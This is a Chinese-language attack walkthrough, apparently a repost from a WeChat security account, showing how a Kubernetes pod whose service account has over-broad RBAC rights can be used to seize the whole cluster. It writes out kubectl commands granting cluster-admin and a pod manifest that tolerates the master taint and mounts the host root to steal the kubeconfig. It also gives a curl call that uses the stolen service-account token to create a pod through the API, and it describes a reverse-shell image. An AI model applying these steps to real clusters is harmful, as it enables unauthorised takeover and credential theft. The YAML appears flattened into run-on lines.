01、概述
Service Account本质是服务账号，是Pod连接K8s集群的凭证。在默认情况下，系统会为创建的Pod提供一个默认的Service Account，用户也可以自定义Service Account，与Service Account关联的凭证会自动挂载到Pod的文件系统中。
当攻击者通过某个web应用获取到一个Pod权限时，如果RBAC权限配置不当，Pod关联的Service Account拥有创建Pod的权限。攻击者就可以使用污点容忍的方式，将挂载根目录的恶意Pod调度到Master节点，获取Master 节点上的 kubeconfig 文件，从而直接接管整个集群。
02、攻击场景
（1）Service Account赋予bypass对test名称空间拥有管理员权限。
kubectl create serviceaccount bypass -n testkubectl create rolebinding sa-admin --clusterrole=cluster-admin --serviceaccount=test:bypass -n testkubectl get pod --as=system:serviceaccount:test:bypass
（2）在Pod中，使用自定义的Service Account。
# pod-sa.yamlapiVersion: v1kind: Podmetadata:name: pod-sanamespace: testspec:serviceAccountName: "bypass"containers:name: ubuntuimage: ubuntu:20.04command: ['/bin/sh','-c','sleep 24h']
（3）在Pod创建时，Service Account关联的凭证，会挂载到 /var/run/secrets/kubernetes.io/serviceaccount/ 目录，其中ca.crt是证书、namespace是Pod所属的命名空间，token是访问API Server的令牌 。
03、攻击过程
（1）攻击方式：kubectl 命令行操作
在Pod中，下载kubectl命令行工具，使用kubectl auth检查权限，拥有当前名称空间中所有执行操作的权限，这就具备了获取集群权限的条件。
编写一个yaml文件，将节点的根目录挂载到容器的/data 目录，使用污点容忍度创建恶意Pod来对Master节点进行横向控制。
如下图：将构建的Pod成功调度到Mater节点。
yaml文件内容：
apiVersion: v1kind: Podmetadata:name: pod1spec:nodeSelector:: ""tolerations:key: "node-role.kubernetes.io/master"operator: "Exists"effect: NoSchedulecontainers:image: nginx:1.20name: pod1volumeMounts:mountPath: /dataname: datavolumes:name: datahostPath:path: /
攻击者成功窃取 kubeconfig 文件，将获得对 Kubernetes 集群的完全控制权限，从而能够任意操控和管理整个集群。
（2）攻击方式：curl 命令操作
首先，创建一个包含恶意代码的镜像,用于反弹Shell，利用curl 命令操作 Kubernetes API创建Pod。
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)用curl创建podcurl -k --header "Authorization: Bearer $TOKEN"-H 'Content-Type: application/yaml'-s -w "状态码是:%{http_code}n"-d "$(cat /tmp/111.yaml)"https://10.96.0.1/api/v1/namespaces/test/pods/
远程监听端口来接收Master节点创建的Pod反弹的shell连接，成功获取到kubeconfig文件。
原文始发于微信公众号（Bypass）：K8s攻击案例：RBAC配置不当导致集群接管
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论